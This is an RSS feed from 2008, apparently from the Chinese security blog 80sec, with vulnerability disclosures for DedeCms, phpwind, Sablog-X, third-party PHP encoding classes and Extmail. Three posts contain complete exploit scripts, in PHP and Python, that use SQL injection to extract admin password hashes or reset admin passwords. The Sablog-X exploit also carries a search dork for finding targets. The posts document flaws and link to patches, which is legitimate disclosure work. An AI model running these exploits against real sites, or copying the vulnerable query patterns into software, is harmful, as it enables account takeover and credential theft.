<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>80sec</title>
	<atom:link href="http://www.80sec.com/feed" rel="self" type="application/rss+xml" />
	<link>http://www.80sec.com</link>
	<description>Know it then hack it!</description>
	<pubDate>Tue, 12 Aug 2008 05:40:34 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>dedecms注射漏洞</title>
		<link>http://www.80sec.com/dedecms-sql-injection.html</link>
		<comments>http://www.80sec.com/dedecms-sql-injection.html#comments</comments>
		<pubDate>Tue, 12 Aug 2008 05:39:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[web应用程序安全]]></category>

		<category><![CDATA[未分类]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=32</guid>
		<description><![CDATA[漏洞说明：DedeCms由2004年到现在，已经经历了五个版本，从DedeCms V2 开始，DedeCms开发了自己的模板引擎，使用XML名字空间风格的模板，对美工制作的直观性提供了极大的便利，从V2.1开始，DedeCms人气急却上升，成为国内最流行的CMS软件，在DedeCms V3版本中，开始引入了模型的概念，从而摆脱里传统网站内容管理对模块太分散，管理不集中的缺点，但随着时间的发展，发现纯粹用模型化并不能满足用户的需求，从而DedeCms 2007（DedeCms V5）应声而出.80sec在其产品中发现了多个严重的SQL注射漏洞，可能被恶意用户查询数据库的敏感信息，如管理员密码，加密key等等，从而控制整个网站。
漏洞厂商：http://www.dedecms.com

漏洞来源：http://www.80sec.com/release/dedecms-sql-injection.txt
漏洞解析：在joblist.php和guestbook_admin.php等文件中对orderby参数未做过滤即带入数据库查询，造成多个注射漏洞。漏洞部分代码如下

-------------------------------------------------------
if(empty($orderby)) $orderby = 'pubdate';
//重载列表
if($dopost=='getlist'){
	PrintAjaxHead();
	GetList($dsql,$pageno,$pagesize,$orderby);//调用GetList函数
	$dsql->Close();
	exit();
……
function GetList($dsql,$pageno,$pagesize,$orderby='pubdate'){
	global $cfg_phpurl,$cfg_ml;
	$jobs = array();
	$start = ($pageno-1) * $pagesize;
  $dsql->SetQuery("Select * From #@__jobs where memberID='".$cfg_ml->M_ID."' order by $orderby desc limit $start,$pagesize ");
	$dsql->Execute();//orderby 带入数据库查询
……
----------------------------------------------------------

漏洞利用：80sec提供攻击测试代码如下（如果发现代码无法测试，请访问80sec官方的txt文档）：

&#60;?
print_r('
--------------------------------------------------------------------------------
DedeCms >=5 "orderby" blind SQL injection/admin credentials disclosure exploit
BY Flyh4t
www.wolvez.org
Thx for all the members of W.S.T and my friend Oldjun
--------------------------------------------------------------------------------
');
if ($argc&#60;3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].&#8217; [...]]]></description>
			<content:encoded><![CDATA[<p>漏洞说明：DedeCms由2004年到现在，已经经历了五个版本，从DedeCms V2 开始，DedeCms开发了自己的模板引擎，使用XML名字空间风格的模板，对美工制作的直观性提供了极大的便利，从V2.1开始，DedeCms人气急却上升，成为国内最流行的CMS软件，在DedeCms V3版本中，开始引入了模型的概念，从而摆脱里传统网站内容管理对模块太分散，管理不集中的缺点，但随着时间的发展，发现纯粹用模型化并不能满足用户的需求，从而DedeCms 2007（DedeCms V5）应声而出.80sec在其产品中发现了多个严重的SQL注射漏洞，可能被恶意用户查询数据库的敏感信息，如管理员密码，加密key等等，从而控制整个网站。</p>
<p>漏洞厂商：http://www.dedecms.com<br />
<span id="more-32"></span><br />
漏洞来源：<a href="http://www.80sec.com/release/dedecms-sql-injection.txt">http://www.80sec.com/release/dedecms-sql-injection.txt</a></p>
<p>漏洞解析：在joblist.php和guestbook_admin.php等文件中对orderby参数未做过滤即带入数据库查询，造成多个注射漏洞。漏洞部分代码如下</p>
<p><code><br />
-------------------------------------------------------<br />
if(empty($orderby)) $orderby = 'pubdate';</p>
<p>//重载列表<br />
if($dopost=='getlist'){<br />
	PrintAjaxHead();<br />
	GetList($dsql,$pageno,$pagesize,$orderby);//调用GetList函数<br />
	$dsql->Close();<br />
	exit();<br />
……<br />
function GetList($dsql,$pageno,$pagesize,$orderby='pubdate'){<br />
	global $cfg_phpurl,$cfg_ml;<br />
	$jobs = array();<br />
	$start = ($pageno-1) * $pagesize;</p>
<p>  $dsql->SetQuery("Select * From #@__jobs where memberID='".$cfg_ml->M_ID."' order by $orderby desc limit $start,$pagesize ");<br />
	$dsql->Execute();//orderby 带入数据库查询<br />
……<br />
----------------------------------------------------------<br />
</code></p>
<p>漏洞利用：80sec提供攻击测试代码如下（如果发现代码无法测试，请访问80sec官方的txt文档）：</p>
<p><code><br />
&#60;?<br />
print_r('<br />
--------------------------------------------------------------------------------<br />
DedeCms >=5 "orderby" blind SQL injection/admin credentials disclosure exploit<br />
BY Flyh4t<br />
www.wolvez.org<br />
Thx for all the members of W.S.T and my friend Oldjun<br />
--------------------------------------------------------------------------------<br />
');</p>
<p>if ($argc&#60;3) {<br />
print_r('<br />
--------------------------------------------------------------------------------<br />
Usage: php '.$argv[0].&#8217; host path<br />
host: target server (ip/hostname)<br />
path: path to DEDEcms<br />
Example:<br />
php &#8216;.$argv[0].&#8217; localhost /<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
&#8216;);<br />
die;<br />
}</p>
<p>function sendpacketii($packet)<br />
{<br />
global  $host, $html;<br />
$ock=fsockopen(gethostbyname($host),&#8217;80&#8242;);<br />
if (!$ock) {<br />
echo &#8216;No response from &#8216;.$host; die;<br />
}<br />
fputs($ock,$packet);<br />
$html=&#8221;;<br />
while (!feof($ock)) {<br />
$html.=fgets($ock);<br />
}<br />
fclose($ock);<br />
}</p>
<p>$host=$argv[1];<br />
$path=$argv[2];<br />
$prefix=&#8221;dede_&#8221;;<br />
$cookie=&#8221;DedeUserID=39255; DedeUserIDckMd5=31283748c5a4b36c; DedeLoginTime=1218471600; DedeLoginTimeckMd5=a7d9577b3b4820fa&#8221;;</p>
<p>if (($path[0]&#60;>&#8217;/') or ($path[strlen($path)-1]&#60;>&#8217;/'))<br />
{echo &#8216;Error&#8230; check the path!&#8217;; die;}</p>
<p>/*get   $prefix*/<br />
$packet =&#8221;GET &#8220;.$path.&#8221;/member/guestbook_admin.php?dopost=getlist&#038;pageno=1&#038;orderby=11&#8242; HTTP/1.0\r\n&#8221;;<br />
$packet.=&#8221;Host: &#8220;.$host.&#8221;\r\n&#8221;;<br />
$packet.=&#8221;Cookie: &#8220;.$cookie.&#8221;\r\n&#8221;;<br />
$packet.=&#8221;Connection: Close\r\n\r\n&#8221;;<br />
sendpacketii($packet);<br />
if (eregi(&#8221;in your SQL syntax&#8221;,$html))<br />
{<br />
$temp=explode(&#8221;From &#8220;,$html);<br />
$temp2=explode(&#8221;member&#8221;,$temp[1]);<br />
if($temp2[0])<br />
$prefix=$temp2[0];<br />
echo &#8220;[+]prefix -> &#8220;.$prefix.&#8221;\n&#8221;;<br />
}</p>
<p>$chars[0]=0;//null<br />
$chars=array_merge($chars,range(48,57)); //numbers<br />
$chars=array_merge($chars,range(97,102));//a-f letters<br />
echo &#8220;[~]exploting now,plz waiting\r\n&#8221;;</p>
<p>/*get   password*/<br />
$j=1;$password=&#8221;";<br />
while (!strstr($password,chr(0)))<br />
{<br />
for ($i=0; $i&#60;=255; $i++)<br />
{<br />
if (in_array($i,$chars))<br />
{<br />
$sql=&#8221;orderby=11+and+If(ASCII(SUBSTRING((SELECT+pwd+FROM+&#8221;.$prefix.&#8221;admin+where+id=1),&#8221;.$j.&#8221;,1))=&#8221;.$i.&#8221;,1,(SELECT+pwd+FROM+&#8221;.$prefix.&#8221;member))&#8221;;<br />
$packet =&#8221;GET &#8220;.$path.&#8221;member/guestbook_admin.php?dopost=getlist&#038;pageno=1&#038;&#8221;.$sql.&#8221; HTTP/1.0\r\n&#8221;;<br />
$packet.=&#8221;Host: &#8220;.$host.&#8221;\r\n&#8221;;<br />
$packet.=&#8221;Cookie: &#8220;.$cookie.&#8221;\r\n&#8221;;<br />
$packet.=&#8221;Connection: Close\r\n\r\n&#8221;;<br />
sendpacketii($packet);<br />
if (!eregi(&#8221;Subquery returns more than 1 row&#8221;,$html)) {$password.=chr($i);echo&#8221;[+]pwd:&#8221;.$password.&#8221;\r\n&#8221;;break;}<br />
}<br />
if ($i==255) {die(&#8221;Exploit failed&#8230;&#8221;);}<br />
}<br />
$j++;<br />
}</p>
<p>/*get   userid*/<br />
$j=1;$admin=&#8221;";<br />
while (!strstr($admin,chr(0)))<br />
{<br />
for ($i=0; $i&#60;=255; $i++)<br />
{<br />
$sql=&#8221;orderby=11+and+If(ASCII(SUBSTRING((SELECT+userid+FROM+&#8221;.$prefix.&#8221;admin+where+id=1),&#8221;.$j.&#8221;,1))=&#8221;.$i.&#8221;,1,(SELECT+pwd+FROM+&#8221;.$prefix.&#8221;member))&#8221;;<br />
$packet =&#8221;GET &#8220;.$path.&#8221;member/guestbook_admin.php?dopost=getlist&#038;pageno=1&#038;&#8221;.$sql.&#8221; HTTP/1.0\r\n&#8221;;<br />
$packet.=&#8221;Host: &#8220;.$host.&#8221;\r\n&#8221;;<br />
$packet.=&#8221;Cookie: &#8220;.$cookie.&#8221;\r\n&#8221;;<br />
$packet.=&#8221;Connection: Close\r\n\r\n&#8221;;<br />
sendpacketii($packet);<br />
if (!eregi(&#8221;Subquery returns more than 1 row&#8221;,$html)) {$admin.=chr($i);echo&#8221;[+]userid:&#8221;.$admin.&#8221;\r\n&#8221;;break;}<br />
if ($i==255) {die(&#8221;Exploit failed&#8230;&#8221;);}<br />
}<br />
$j++;<br />
}</p>
<p>print_r(&#8217;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
[+]userid -> &#8216;.$admin.&#8217;<br />
[+]pwd(md5 24位) -> &#8216;.$password.&#8217;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
&#8216;);<br />
function is_hash($hash)<br />
{<br />
if (ereg(&#8221;^[a-f0-9]{24}&#8221;,trim($hash))) {return true;}<br />
else {return false;}<br />
}<br />
if (is_hash($password)) {echo &#8220;Exploit succeeded&#8230;&#8221;;}<br />
else {echo &#8220;Exploit failed&#8230;&#8221;;}<br />
?><br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/dedecms-sql-injection.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>phpwind任意修改管理员密码漏洞</title>
		<link>http://www.80sec.com/phpwind-admin-pass-change-vul.html</link>
		<comments>http://www.80sec.com/phpwind-admin-pass-change-vul.html#comments</comments>
		<pubDate>Tue, 05 Aug 2008 14:25:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[web应用程序安全]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=31</guid>
		<description><![CDATA[漏洞说明：PHPWind 论坛系统 是一套采用 php+mysql 数据库 方式运行并可生成 html 页面的全新且完善的强大系统。因具有非凡的访问速度和卓越的负载能力而深受国内外朋友的喜爱。但是80sec在其中发现了一个安全漏洞，成功利用此漏洞可以直接修改管理员的密码进入后台，取得管理员权限。
漏洞厂商：http://www.phpwind.net
漏洞来源：http://www.80sec.com/release/phpwind-admin-pass-change-vul.txt

漏洞解析：在phpwind的wap模块中的字符转码程序存在问题，细节在http://www.80sec.com/php-coder-class-security-alert.html，但是80sec发现，在phpwind的wap模块中，该编码转换类存在更为严重的问题，甚至没有任何的条件，即使安装了iconv等编码模块一样受到该漏洞的影响，几乎没有条件限制。在phpwind中，wap是默认关闭的，但是我们发现在phpwindget_one("SELECT m.uid,m.password,m.groupid,m.yz,md.onlineip FROM pw_members m LEFT JOIN pw_memberdata md ON md.uid=m.uid WHERE username='$username'");
	if($men){
		$e_login=explode("&#124;",$men['onlineip']);
		if($e_login[0]!=$onlineip.&#8217; *&#8217; &#124;&#124; ($timestamp-$e_login[1])>600 &#124;&#124; $e_login[2]>1 ){
			$men_uid=$men['uid'];
			$men_pwd=$men['password'];
			$check_pwd=$password;
			if($men['yz'] > 2){
				wap_msg(&#8217;c');
			}
			if(strlen($men_pwd)==16){
				$check_pwd=substr($password,8,16);/*支持 16 位 md5截取密码*/
			}
			if($men_pwd==$check_pwd){
				if(strlen($men_pwd)==16){
					$db->update(&#8221;UPDATE pw_members SET password=&#8217;$password&#8217; WHERE uid=&#8217;$men_uid&#8217;&#8221;);
				}
				$L_groupid=(int)$men['groupid'];
				Cookie(&#8221;ck_info&#8221;,$db_ckpath.&#8221;\t&#8221;.$db_ckdomain);
			}else{
				global $L_T;
				$L_T=$e_login[2];
				$L_T ? $L_T&#8211;:$L_T=5;
				$F_login=&#8221;$onlineip *&#124;$timestamp&#124;$L_T&#8221;;
				$db->update(&#8221;UPDATE pw_memberdata SET onlineip=&#8217;$F_login&#8217; WHERE uid=&#8217;$men_uid&#8217;&#8221;);
				wap_msg(&#8217;login_pwd_error&#8217;);
			}
		}else{
			global $L_T;
			$L_T=600-($timestamp-$e_login[1]);
			wap_msg(&#8217;login_forbid&#8217;);
		}
	} else {
		global $errorname;
		$errorname=$username;
		wap_msg(&#8217;user_not_exists&#8217;);
	}
	Cookie(&#8221;winduser&#8221;,StrCode($men_uid.&#8221;\t&#8221;.PwdCode($password)));
	Cookie(&#8217;lastvisit&#8217;,&#8221;,0);
	wap_msg(&#8217;wap_login&#8217;,'index.php&#8217;);
}
	
	甚至不用注册账户，只要精心构造username即可利用此漏洞。
漏洞利用：80sec提供exploit如下：
	
	import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = [...]]]></description>
			<content:encoded><![CDATA[<p>漏洞说明：PHPWind 论坛系统 是一套采用 php+mysql 数据库 方式运行并可生成 html 页面的全新且完善的强大系统。因具有非凡的访问速度和卓越的负载能力而深受国内外朋友的喜爱。但是80sec在其中发现了一个安全漏洞，成功利用此漏洞可以直接修改管理员的密码进入后台，取得管理员权限。</p>
<p>漏洞厂商：http://www.phpwind.net</p>
<p>漏洞来源：<a href=http://www.80sec.com/release/phpwind-admin-pass-change-vul.txt>http://www.80sec.com/release/phpwind-admin-pass-change-vul.txt</a><br />
<span id="more-31"></span><br />
漏洞解析：在phpwind的wap模块中的字符转码程序存在问题，细节在<a href=http://www.80sec.com/php-coder-class-security-alert.html>http://www.80sec.com/php-coder-class-security-alert.html</a>，但是80sec发现，在phpwind的wap模块中，该编码转换类存在更为严重的问题，甚至没有任何的条件，即使安装了iconv等编码模块一样受到该漏洞的影响，几乎没有条件限制。在phpwind中，wap是默认关闭的，但是我们发现在phpwind<=5.3版本中，变量存在全局没有初始化的问题，导致远程用户可以开启该模块，从而导致一个注射安全漏洞产生。<br />
	在phpwind中的注射漏洞中，phpwind过分相信从数据库中取出的变量，从而可能可以更改一些数据处理流程，导致任意修改其他用户的密码，包括管理员，问题代码在wap_mod.php中如下：</p>
<p>	<code><br />
function wap_login($username,$password){<br />
	global $db,$timestamp,$onlineip,$db_ckpath,$db_ckdomain,$db_bbsurl;</p>
<p>	$men=$db->get_one("SELECT m.uid,m.password,m.groupid,m.yz,md.onlineip FROM pw_members m LEFT JOIN pw_memberdata md ON md.uid=m.uid WHERE username='$username'");<br />
	if($men){<br />
		$e_login=explode("|",$men['onlineip']);<br />
		if($e_login[0]!=$onlineip.&#8217; *&#8217; || ($timestamp-$e_login[1])>600 || $e_login[2]>1 ){<br />
			$men_uid=$men['uid'];<br />
			$men_pwd=$men['password'];<br />
			$check_pwd=$password;<br />
			if($men['yz'] > 2){<br />
				wap_msg(&#8217;c');<br />
			}<br />
			if(strlen($men_pwd)==16){<br />
				$check_pwd=substr($password,8,16);/*支持 16 位 md5截取密码*/<br />
			}<br />
			if($men_pwd==$check_pwd){<br />
				if(strlen($men_pwd)==16){<br />
					$db->update(&#8221;UPDATE pw_members SET password=&#8217;$password&#8217; WHERE uid=&#8217;$men_uid&#8217;&#8221;);<br />
				}<br />
				$L_groupid=(int)$men['groupid'];<br />
				Cookie(&#8221;ck_info&#8221;,$db_ckpath.&#8221;\t&#8221;.$db_ckdomain);<br />
			}else{<br />
				global $L_T;<br />
				$L_T=$e_login[2];<br />
				$L_T ? $L_T&#8211;:$L_T=5;<br />
				$F_login=&#8221;$onlineip *|$timestamp|$L_T&#8221;;<br />
				$db->update(&#8221;UPDATE pw_memberdata SET onlineip=&#8217;$F_login&#8217; WHERE uid=&#8217;$men_uid&#8217;&#8221;);<br />
				wap_msg(&#8217;login_pwd_error&#8217;);<br />
			}<br />
		}else{<br />
			global $L_T;<br />
			$L_T=600-($timestamp-$e_login[1]);<br />
			wap_msg(&#8217;login_forbid&#8217;);<br />
		}<br />
	} else {<br />
		global $errorname;<br />
		$errorname=$username;<br />
		wap_msg(&#8217;user_not_exists&#8217;);<br />
	}<br />
	Cookie(&#8221;winduser&#8221;,StrCode($men_uid.&#8221;\t&#8221;.PwdCode($password)));<br />
	Cookie(&#8217;lastvisit&#8217;,&#8221;,0);<br />
	wap_msg(&#8217;wap_login&#8217;,'index.php&#8217;);<br />
}<br />
	</code></p>
<p>	甚至不用注册账户，只要精心构造username即可利用此漏洞。</p>
<p>漏洞利用：80sec提供exploit如下：</p>
<p>	<code><br />
	import urllib2,httplib,sys<br />
httplib.HTTPConnection.debuglevel = 1<br />
cookies = urllib2.HTTPCookieProcessor()<br />
opener = urllib2.build_opener(cookies)<br />
argvs=sys.argv</p>
<p>data = "db_wapifopen=1&#038;prog=login&#038;pwuser=shit%c1'union select "+argvs[2]+&#8221;,mid(md5(123456),9,16),3,1,5/*&#038;pwpwd=123456&#8243;<br />
pwurl = &#8220;%s&#8221; % argvs[1]<br />
pwurl = pwurl + &#8220;wap/index.php&#8221;</p>
<p>print &#8220;\r\n\r\nPhpwind Admin Pass Change Exploit&#8221;<br />
print &#8220;Phpwind <=5.3 "<br />
print "By 80sec "<br />
print "python.exe "+argvs[0]+" http://www.80sec.com/pwforum/  1\r\n"</p>
<p>print "\r\n[+]TargetForum: "+argvs[1]<br />
print "[+]TargetId: "+argvs[2]</p>
<p>request = urllib2.Request(<br />
	url     = pwurl ,<br />
        headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},<br />
        data    = data)<br />
f=opener.open(request)<br />
headers=f.headers.dict<br />
try :<br />
	cookie=headers["set-cookie"]<br />
	if cookie.index('winduser') :<br />
		print "[+]Exploit Success"<br />
	else :	print "[-]Exploit Failed"</p>
<p>except:<br />
	print "[-]Exploit Failed"</p>
<p>	</code></p>
<p>漏洞修复：请及时打上官方最新补丁  http://www.phpwind.net/read-htm-tid-643202.html</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/phpwind-admin-pass-change-vul.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>安全天使sablog注射漏洞</title>
		<link>http://www.80sec.com/sablog-sql-injectio.html</link>
		<comments>http://www.80sec.com/sablog-sql-injectio.html#comments</comments>
		<pubDate>Tue, 05 Aug 2008 11:27:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[web应用程序安全]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=30</guid>
		<description><![CDATA[漏洞说明：Sablog-X是一个采用PHP和MySQL构建的博客系统.作为Sablog的后继产品,Sablog-X在代码质量,运行效率,负载能力,安全等级,功能可操控性和权限严密性等方面都在原有的基础上,更上一层楼.凭借Sablog-X作者7年多的安全技术经验,4年的PHP开发经验,强于创新,追求完美的设计理念,使得Sablog-X已获得业内越来越多专家和用户的认可.但是80sec在其中的代码里发现一个安全漏洞，导致远程用户通过SQL注射获得数据库权限，甚至获得管理员权限。
漏洞厂商：http://www.sablog.net

漏洞来源：http://www.80sec.com/release/sablog-sql-injection.txt
漏洞解析：在sablog的trackback.php中的转码函数

function iconv2utf($chs) {
        global $encode;
        if ($encode != 'utf-8') {
                if (function_exists('mb_convert_encoding')) {
              [...]]]></description>
			<content:encoded><![CDATA[<p>漏洞说明：Sablog-X是一个采用PHP和MySQL构建的博客系统.作为Sablog的后继产品,Sablog-X在代码质量,运行效率,负载能力,安全等级,功能可操控性和权限严密性等方面都在原有的基础上,更上一层楼.凭借Sablog-X作者7年多的安全技术经验,4年的PHP开发经验,强于创新,追求完美的设计理念,使得Sablog-X已获得业内越来越多专家和用户的认可.但是80sec在其中的代码里发现一个安全漏洞，导致远程用户通过SQL注射获得数据库权限，甚至获得管理员权限。</p>
<p>漏洞厂商：http://www.sablog.net<br />
<span id="more-30"></span></p>
<p>漏洞来源：<a href=http://www.80sec.com/release/sablog-sql-injection.txt>http://www.80sec.com/release/sablog-sql-injection.txt</a></p>
<p>漏洞解析：在sablog的trackback.php中的转码函数</p>
<p><code><br />
function iconv2utf($chs) {<br />
        global $encode;<br />
        if ($encode != 'utf-8') {<br />
                if (function_exists('mb_convert_encoding')) {<br />
                        $chs = mb_convert_encoding($chs, 'UTF-8', $encode);<br />
                } elseif (function_exists('iconv')) {<br />
                        $chs = iconv($encode, 'UTF-8', $chs);<br />
                }<br />
        }<br />
        return $chs;<br />
}<br />
</code></p>
<p>	存在问题，当$encode为GBK字符集的时候，用户提交%bf&#8217;将会被转化为一个正常的utf-8字符和一个单引号，如果数据未加处理进入数据库将导致SQL注射。</p>
<p>漏洞利用：80sec提供漏洞测试程序如下：</p>
<p><code><br />
#!/usr/bin/php<br />
&#60;?php</p>
<p>print_r('<br />
+---------------------------------------------------------------------------+<br />
Sablog-X &#60;= 1.6 SQL injection / admin credentials disclosure exploit<br />
by puret_t<br />
mail: puretot at gmail dot com<br />
team: http://www.wolvez.org<br />
dork: "Powered by SaBlog-X"<br />
+---------------------------------------------------------------------------+<br />
');<br />
/**<br />
 * works regardless of php.ini settings<br />
 */<br />
if ($argc &#60; 3) {<br />
	print_r('<br />
+---------------------------------------------------------------------------+<br />
Usage: php '.$argv[0].&#8217; host path code<br />
host:      target server (ip/hostname)<br />
path:      path to sablog-x<br />
code:      the last blog trackback gbk code<br />
Example:<br />
php &#8216;.$argv[0].&#8217; localhost /sablog-x/ MQlnYmsJMTIxNzkyMzE0OAkw<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+<br />
&#8216;);<br />
	exit;<br />
}</p>
<p>error_reporting(7);<br />
ini_set(&#8217;max_execution_time&#8217;, 0);</p>
<p>$host = $argv[1];<br />
$path = $argv[2];<br />
$code = $argv[3];</p>
<p>$arr = explode(&#8221;\t&#8221;, base64_decode($code));<br />
if (count($arr) != 4)<br />
	exit(&#8221;Exploit Failed!\n&#8221;);</p>
<p>$url = &#8216;http://&#8217;.$host.$path.&#8217;?action=show&#038;id=&#8217;.$arr[0];</p>
<p>send();<br />
preg_match(&#8217;#&#60;a\shref=&#8221;1&#8243;\starget=&#8221;_blank&#8221;>([\S]+):([a-z0-9]{32})&#60;/a&#60;#&#8217;, file_get_contents($url), $hash);</p>
<p>if ($hash)<br />
	exit(&#8221;Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n&#8221;);<br />
else<br />
	exit(&#8221;Exploit Failed!\n&#8221;);</p>
<p>function send()<br />
{<br />
	global $host, $path, $code;</p>
<p>	$cmd = &#8216;url=http://&#8217;.$host.$path.&#8217;&#038;title=ryat%bf%27,&#8217;.time().&#8217;,1,1,(SELECT CONCAT(username,0&#215;3a,password) FROM sablog_users WHERE userid=1),&#8217;.time().&#8217;,1,1)#&#038;excerpt=ryat&#038;blog_name=ryat&#8217;;</p>
<p>	$message = &#8220;POST &#8220;.$path.&#8221;trackback.php?code=$code  HTTP/1.1\r\n&#8221;;<br />
	$message .= &#8220;Accept: */*\r\n&#8221;;<br />
	$message .= &#8220;Accept-Language: zh-cn\r\n&#8221;;<br />
	$message .= &#8220;Content-Type: application/x-www-form-urlencoded\r\n&#8221;;<br />
	$message .= &#8220;User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n&#8221;;<br />
	$message .= &#8220;Host: $host\r\n&#8221;;<br />
	$message .= &#8220;Content-Length: &#8220;.strlen($cmd).&#8221;\r\n&#8221;;<br />
	$message .= &#8220;Connection: Close\r\n\r\n&#8221;;<br />
	$message .= $cmd;</p>
<p>	$fp = fsockopen($host, 80);<br />
	fputs($fp, $message);</p>
<p>	$resp = &#8221;;</p>
<p>	while ($fp &#038;&#038; !feof($fp))<br />
		$resp .= fread($fp, 1024);</p>
<p>	return $resp;<br />
}</p>
<p>?></p>
<p></code></p>
<p>漏洞状态：请等待官方补丁。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/sablog-sql-injectio.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>php第三方编码转换类安全警告</title>
		<link>http://www.80sec.com/php-coder-class-security-alert.html</link>
		<comments>http://www.80sec.com/php-coder-class-security-alert.html#comments</comments>
		<pubDate>Tue, 05 Aug 2008 06:15:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[web应用程序安全]]></category>

		<category><![CDATA[未分类]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=29</guid>
		<description><![CDATA[漏洞说明：在外面广泛使用的众多php编码转换类中，已经被证明在某些情况下会存在安全问题，构造畸形的数据将导致转换类的结果不可靠，从而可能使数据绕过系统的安全认证，一些开源程序如Discuz，Phpwind已经被批漏存在问题，Discuz和Phpwind均已发布补丁。
漏洞厂商：众多第三方编码转换类

漏洞解析：
	  编码转换类在系统存在iconv等函数的时候会选择iconv函数，但是如果系统不存在iconv或者不支持多字节编码转换的情况下，编码转换类会自己实现对编码的转换。在这里由于系统iconv在进行utf8编码转换时会严格遵守约定，对于不合法的数据将进行抛弃处理，而某些第三方编码类则会进行强行的转换，如一个非法的utf8字节如0xc15c27将被转换为0&#215;808027或其他类似处理，这将导致其绕过程序的addslashes等安全保护，譬如恶意用户提交0xc127，经过php安全处理后将变成0xc15c27，然后经过转码后将成为0&#215;808027，导致安全防护失败，导致安全漏洞。
漏洞证明及修复：
Phpwind官方补丁：http://www.phpwind.net/read-htm-tid-643202.html
Discuz！官方补丁：http://www.discuz.net/thread-1008182-1-1.html
80sec提醒使用编码转换类的厂商和程序及时检查自己的安全设置，可以通过对进行转码后的数据再次安全处理来修复这个问题，如果有iconv的支持则尽量使用iconv模块而不要自己实现编码。
]]></description>
			<content:encoded><![CDATA[<p>漏洞说明：在外面广泛使用的众多php编码转换类中，已经被证明在某些情况下会存在安全问题，构造畸形的数据将导致转换类的结果不可靠，从而可能使数据绕过系统的安全认证，一些开源程序如Discuz，Phpwind已经被批漏存在问题，Discuz和Phpwind均已发布补丁。</p>
<p>漏洞厂商：众多第三方编码转换类<br />
<span id="more-29"></span><br />
漏洞解析：</p>
<p>	  编码转换类在系统存在iconv等函数的时候会选择iconv函数，但是如果系统不存在iconv或者不支持多字节编码转换的情况下，编码转换类会自己实现对编码的转换。在这里由于系统iconv在进行utf8编码转换时会严格遵守约定，对于不合法的数据将进行抛弃处理，而某些第三方编码类则会进行强行的转换，如一个非法的utf8字节如0xc15c27将被转换为0&#215;808027或其他类似处理，这将导致其绕过程序的addslashes等安全保护，譬如恶意用户提交0xc127，经过php安全处理后将变成0xc15c27，然后经过转码后将成为0&#215;808027，导致安全防护失败，导致安全漏洞。</p>
<p>漏洞证明及修复：</p>
<p>Phpwind官方补丁：http://www.phpwind.net/read-htm-tid-643202.html<br />
Discuz！官方补丁：http://www.discuz.net/thread-1008182-1-1.html</p>
<p>80sec提醒使用编码转换类的厂商和程序及时检查自己的安全设置，可以通过对进行转码后的数据再次安全处理来修复这个问题，如果有iconv的支持则尽量使用iconv模块而不要自己实现编码。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/php-coder-class-security-alert.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>Extmail安全漏洞</title>
		<link>http://www.80sec.com/extmail-security-hole.html</link>
		<comments>http://www.80sec.com/extmail-security-hole.html#comments</comments>
		<pubDate>Tue, 29 Jul 2008 01:59:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[未分类]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=28</guid>
		<description><![CDATA[漏洞说明：ExtMail Project 是一个活跃的开源邮件系统项目，目前由ExtMail 团队维护。该项于2005年9月18日正式启动，最初以WebMail软件为主，至今已逐步形成了ExtMail软件系列。整个项目的目标是开发出高效、易用、富有生命力的邮件系统(方案)，经过粗略的统计，截止2007年6月份，已有超过3000个服务器在运行ExtMail软件，其中有超过1000个运行在互联网上。Webmail采取perl语言CGI方式编写，国内众多知名站点均使用extmail，譬如http://mail.csdn.net。80sec在其产品中发现安全漏洞，包括SQL注射，任意用户身份劫持，以及任意信件读取的几个重大安全漏洞。
漏洞厂商：http://www.extmail.org/

漏洞解析：
